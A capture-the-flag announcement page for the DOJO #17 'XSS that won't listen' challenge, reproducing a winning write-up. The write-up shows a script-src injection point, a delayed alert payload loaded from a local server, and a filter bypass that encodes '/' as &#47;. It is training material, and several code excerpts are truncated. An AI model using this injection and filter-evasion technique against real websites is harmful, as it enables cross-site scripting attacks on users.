June 13, 2022

The #17th DOJO CHALLENGE was a special edition for “LeHack” and consisted in bypassing the simulated WAF in order to execute JavaScript and obtain the secret password.

💡 You want to create your own DOJO and publish it? Send us a message on Twitter!


We are glad to announce the #17 DOJO Challenge winners list.


  • The best writeups reports were submitted by: DrLNO, Hiboukibou, Kubolos231, Sh33my and Spawnzii ! Congrats 🥳

Subscribe to our Twitter or Linkedin feeds to be notified of the upcoming challenges.

Read on to find the best write-up as well as the challenge author’s recommendations.

The challenge

XSS that won’t listen

See the challenge page >

We asked you to produce a qualified write-up report explaining the logic allowing such exploitation. This write-up serves two purposes:

  • Ensure no copy-paste would occur.
  • Determine the contestant ability to properly describe a vulnerability and its vectors inside a professionally redacted report. This capacity gives us invaluable hints on your own, unique, talent as a bug hunter.


We received a large number of reports and all of them were detailed, well explained… However, we had to make a selection of the best ones. These challenges allow to see that there are almost as many different solutions… as long as there is creativity 😉

Special mention for ivarsvids and its 4 different solutions.

Thanks again for all your submissions and thanks for playing with us!

Hiboukibou‘s Write-Up

————– START OF hiboukibou REPORT ——————


This code runs a JavaScript code inside a script that craft a “secret” variable.


Execute Javascript (XSS) and alert (popup) the value of the original variable secret.

Requirement for a valid solve:

Alert (popup) the value of the original variable secret




<script type="text/javascript" src="$inject"></script>

<script type="text/javascript">

//Get Access and *alert()* the "secret" variable! 
const date =;
const addOn = "Pa$$w0rd";
const secret = addOn+date


<div id="Coffee_Design">
    <img id="coffee_img" src="



We see that we can change the value of the $inject variable. This variable match the value of the src atttribute of the script tag. So we can inject an external js script from it.
We write an external javascript file which contains a code to alert the secret value. We add a function to delay the alert function in order to wait the instanciation of secret value:

function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));

async function xss() {
    await sleep(3 * 1000);



Then we escape the pattern :// which is replaced with __NOPE__ with &#47.

The final $inject variable look like: http:&#47;/localhost:8080/<path>/xss.js


First, we see that we can modify the $inject variable. This variable is the value of the src attribute from the script tag.
The src attribute allows to load javascript from another file, even from an external source (for example stored on an external server).
We want the secret variable which is defined after the second script tag as a const variable.
In order to achieve this, we will display it through alert (a javascript function) by exploiting a XSS vulnerability.

Let’s start !

We create a new file on our local machine called for example xss.js so we can expose it (with a python server: python -m http.server 8080)
For the test and because it’s simplier, I create a new file, in the same repository called challxss.html which contains the html code of the challenge.
So we can now navigate to http://localhost:8080/<path>/challxss.html with a browser.
The same output as the challenge (coffee gif) is displayed.

Let’s change the src value !
Still in our local file challxss.html, we replace the $inject variable with the path of our xss.js.
The first piece of code I write in xss.js is alert(secret):


But the variable isn’t loaded yet so it is not displayed. (To be sure, we can move the script tag after the div "Coffee_Design" and see what happend. Answer: secret is displayed).
To remedy, I delay the alert function with the setTimeout function.
The modified file look like this now:

function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));

async function xss() {
    await sleep(3 * 1000);



And now it works ! (on my machine)
There is still a problem, the pattern :// is replaced by __NOPE__
In order to bypass this, we can replace ‘/’ by the ‘/’ HTML Escape Characters code which is &#47;

Now instead of having http://localhost:8080/<path>/xss.js for the $inject variable, we have http:&#47;/localhost:8080/<path>/xss.js


————– END OF hiboukibou REPORT ——————